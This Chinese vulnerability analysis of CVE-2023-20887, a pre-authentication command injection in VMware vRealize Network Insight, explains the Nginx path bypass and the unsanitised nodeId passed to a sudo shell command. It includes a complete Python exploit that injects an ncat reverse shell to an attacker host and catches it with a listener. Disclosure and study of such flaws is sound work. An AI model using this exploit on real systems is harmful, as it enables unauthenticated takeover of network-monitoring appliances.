Vmware VRealize NetWork Insight 系统中的预身份验证RCE
字数 1991 2025-08-24 16:48:16

VMware vRealize Network Insight 预身份验证RCE漏洞分析(CVE-2023-20887)

漏洞概述

本文详细分析VMware vRealize Network Insight (vRNI)系统中存在的一个严重安全漏洞,该漏洞允许攻击者在无需任何身份验证的情况下实现远程代码执行(RCE)。漏洞被分配了CVE编号CVE-2023-20887,影响版本包括6.8.0.1666364233及之前的版本。

漏洞背景

vRealize Network Insight是VMware提供的网络监控和分析解决方案,用于提供网络可见性和故障排除功能。系统内部使用Apache Thrift RPC框架进行服务间通信。

漏洞分析

1. Nginx配置分析

系统使用Nginx作为前端代理,关键配置位于/etc/nginx/sites-available/vnera

server {
    [..SNIP..]
    location /saasresttosaasservlet {
        allow 127.0.0.1;
        deny all;
        rewrite ^/saas(.*)$ /$1 break;
        proxy_pass http://127.0.0.1:9090;
        proxy_redirect off;
        proxy_buffering off;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
    
    location /saas {
        rewrite ^/saas(.*)$ /$1 break;
        proxy_pass http://127.0.0.1:9090;
        proxy_redirect off;
        proxy_buffering off;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}

关键点:

  • /saasresttosaasservlet路径仅允许本地访问(127.0.0.1)
  • /saas路径无访问限制,但会重写URL去除/saas前缀

2. Thrift RPC服务分析

后端运行在9090端口的Apache Thrift RPC服务,提供了多个服务端点:

Service Protocol URL
CollectorToSaasCommunication TBinaryProtocol
FedPeerToSaasCommunication TBinaryProtocol
SaasToCollectorCommunication TBinaryProtocol
SaasToFedPeerCommunication TBinaryProtocol
SaasToCollectorDataLink TBinaryProtocol
RestToSaasCommunication TJSONProtocol
GenericSaasService TJSONProtocol

3. 漏洞函数分析

关键漏洞存在于createSupportBundle函数中,该函数定义如下:

public Result createSupportBundle(String customerId, String nodeId, String requestId, List<String> evictionRequestIds) {
    // [..日志记录等代码..]
    
    ServiceThriftListener.supportBundleExecutor.submit(() -> {
        int cidInt = Integer.parseInt(customerId);
        String nodeType = this.isLocalNodeId(nodeId) ? "platform" : "proxy";
        // [..其他代码..]
        
        try {
            ScriptUtils.evictLocalSupportBundles(nodeType, nodeId, evictionRequestIds, maxFiles, vcfLogToken);
            ScriptUtils.evictPublishedSupportBundles(nodeType, nodeId, evictionRequestIds, maxFiles, vcfLogToken);
            // [..其他代码..]
        }
        // [..异常处理..]
    });
    // [..其他代码..]
}

4. 命令注入点

漏洞核心在于ScriptUtils.evictPublishedSupportBundles方法中的命令构造:

public static synchronized void evictPublishedSupportBundles(String nodeType, String nodeId, 
    List<String> evictionRequestIds, Integer maxFiles, String vcfLogToken) throws Exception {
    
    // [..参数检查等代码..]
    
    if (maxFiles != null) {
        String evictCommand = String.format(
            "sudo ls -tp %s/sb.%s.%s*.tar.gz | grep -v '/$' | tail -n +%d | xargs -I {} rm -- {}", 
            "/ui-support-bundles", nodeType, nodeId, maxFiles);
        
        if (CommonUtils.isPlatformCluster()) {
            evictCommand = String.format("%s %s %s", 
                "sudo /home/ubuntu/build-target/saasservice/cleansb.sh", nodeId, nodeType);
        }
        
        int evictRet = runCommand(evictCommand);
        // [..其他代码..]
    }
}

关键问题:

  1. nodeId参数未经充分过滤直接用于命令构造
  2. 当系统是平台集群时,会使用更简单的命令格式,更容易注入

5. 绕过Nginx限制的方法

虽然/saasresttosaasservlet路径限制为本地访问,但可以通过以下方式绕过:

https://VRNI-IP/saas./resttosaasservlet

Nginx处理流程:

  1. 匹配location /saas规则
  2. 应用重写规则rewrite ^/saas(.*)$ /$1 break,将URL重写为/./resttosaasservlet
  3. 代理到后端9090端口的/resttosaasservlet路径

漏洞利用

1. 利用条件

  • 无需任何身份验证
  • 能够访问目标系统的443端口

2. 利用步骤

  1. 构造特制的Thrift请求,调用createSupportBundle方法
  2. nodeId参数中注入恶意命令
  3. 通过/saas./resttosaasservlet路径绕过Nginx限制
  4. 触发命令执行

3. 利用代码示例

import requests
from threading import Thread
import argparse
from telnetlib import Telnet
import socket

def handler():
    print("(*) Starting handler")
    t = Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind((args.attacker.split(":")[0], int(args.attacker.split(":")[1])))
    s.listen(1)
    conn, addr = s.accept()
    print(f"(+) Received connection from {addr[0]}")
    t.sock = conn
    print("(+) pop thy shell! (it's ready)")
    t.interact()

def start_handler():
    t = Thread(target=handler)
    t.daemon = True
    t.start()

def exploit():
    url = args.url + "/saas./resttosaasservlet"
    revshell = f'ncat {args.attacker.split(":")[0]} {args.attacker.split(":")[1]} -e /bin/sh'
    payload = """[1,"createSupportBundle",1,0,{"1":{"str":"1111"},"2":{"str":"`""" + revshell + """`"},"3":{"str":"value3"},"4":{"lst":["str",2,"AAAA","BBBB"]}}]"""
    
    result = requests.post(
        url,
        headers={"Content-Type": "application/x-thrift"},
        verify=False,
        data=payload
    )

start_handler()
exploit()

try:
    while True:
        pass
except KeyboardInterrupt:
    print("(*) Exiting...")
    exit(0)

4. 利用说明

  1. 攻击者需要准备一个监听器(如ncat)接收反弹shell
  2. 构造的Thrift请求格式:
    [
      1,
      "createSupportBundle",
      1,
      0,
      {
        "1": {"str": "1111"},  // customerId
        "2": {"str": "`恶意命令`"},  // nodeId - 注入点
        "3": {"str": "value3"},  // requestId
        "4": {"lst": ["str", 2, "AAAA", "BBBB"]}  // evictionRequestIds
      }
    ]
    
  3. 通过nodeId参数注入的命令会被系统执行

漏洞修复

VMware已发布安全公告和补丁,建议用户:

  1. 立即升级到最新版本
  2. 如果无法立即升级,考虑限制对vRNI系统的网络访问
  3. 实施网络分段,限制vRNI系统与其他关键系统的通信

总结

该漏洞是一个典型的命令注入漏洞,结合了以下关键因素:

  1. 未充分过滤的用户输入直接用于系统命令
  2. Nginx配置不当导致本应受限的接口可被外部访问
  3. 高权限操作(使用sudo)放大了漏洞影响

漏洞利用无需任何身份验证,攻击者可以完全控制系统,危害极大。建议所有使用vRealize Network Insight的组织立即采取行动修复此漏洞。

VMware vRealize Network Insight 预身份验证RCE漏洞分析(CVE-2023-20887) 漏洞概述 本文详细分析VMware vRealize Network Insight (vRNI)系统中存在的一个严重安全漏洞,该漏洞允许攻击者在无需任何身份验证的情况下实现远程代码执行(RCE)。漏洞被分配了CVE编号CVE-2023-20887,影响版本包括6.8.0.1666364233及之前的版本。 漏洞背景 vRealize Network Insight是VMware提供的网络监控和分析解决方案,用于提供网络可见性和故障排除功能。系统内部使用Apache Thrift RPC框架进行服务间通信。 漏洞分析 1. Nginx配置分析 系统使用Nginx作为前端代理,关键配置位于 /etc/nginx/sites-available/vnera : 关键点: /saasresttosaasservlet 路径仅允许本地访问(127.0.0.1) /saas 路径无访问限制,但会重写URL去除 /saas 前缀 2. Thrift RPC服务分析 后端运行在9090端口的Apache Thrift RPC服务,提供了多个服务端点: | Service Protocol | URL | |------------------|-----| | CollectorToSaasCommunication | TBinaryProtocol | /collectortosaasservlet/* | | FedPeerToSaasCommunication | TBinaryProtocol | /fedpeertosaasservlet/* | | SaasToCollectorCommunication | TBinaryProtocol | /saastocollectorservlet/* | | SaasToFedPeerCommunication | TBinaryProtocol | /saastofedpeerservlet/* | | SaasToCollectorDataLink | TBinaryProtocol | /saastocollectordatalinkservlet/* | | RestToSaasCommunication | TJSONProtocol | /resttosaasservlet/* | | GenericSaasService | TJSONProtocol | /genericsaasservlet/* | 3. 漏洞函数分析 关键漏洞存在于 createSupportBundle 函数中,该函数定义如下: 4. 命令注入点 漏洞核心在于 ScriptUtils.evictPublishedSupportBundles 方法中的命令构造: 关键问题: nodeId 参数未经充分过滤直接用于命令构造 当系统是平台集群时,会使用更简单的命令格式,更容易注入 5. 绕过Nginx限制的方法 虽然 /saasresttosaasservlet 路径限制为本地访问,但可以通过以下方式绕过: Nginx处理流程: 匹配 location /saas 规则 应用重写规则 rewrite ^/saas(.*)$ /$1 break ,将URL重写为 /./resttosaasservlet 代理到后端9090端口的 /resttosaasservlet 路径 漏洞利用 1. 利用条件 无需任何身份验证 能够访问目标系统的443端口 2. 利用步骤 构造特制的Thrift请求,调用 createSupportBundle 方法 在 nodeId 参数中注入恶意命令 通过 /saas./resttosaasservlet 路径绕过Nginx限制 触发命令执行 3. 利用代码示例 4. 利用说明 攻击者需要准备一个监听器(如ncat)接收反弹shell 构造的Thrift请求格式: 通过 nodeId 参数注入的命令会被系统执行 漏洞修复 VMware已发布安全公告和补丁,建议用户: 立即升级到最新版本 如果无法立即升级,考虑限制对vRNI系统的网络访问 实施网络分段,限制vRNI系统与其他关键系统的通信 总结 该漏洞是一个典型的命令注入漏洞,结合了以下关键因素: 未充分过滤的用户输入直接用于系统命令 Nginx配置不当导致本应受限的接口可被外部访问 高权限操作(使用sudo)放大了漏洞影响 漏洞利用无需任何身份验证,攻击者可以完全控制系统,危害极大。建议所有使用vRealize Network Insight的组织立即采取行动修复此漏洞。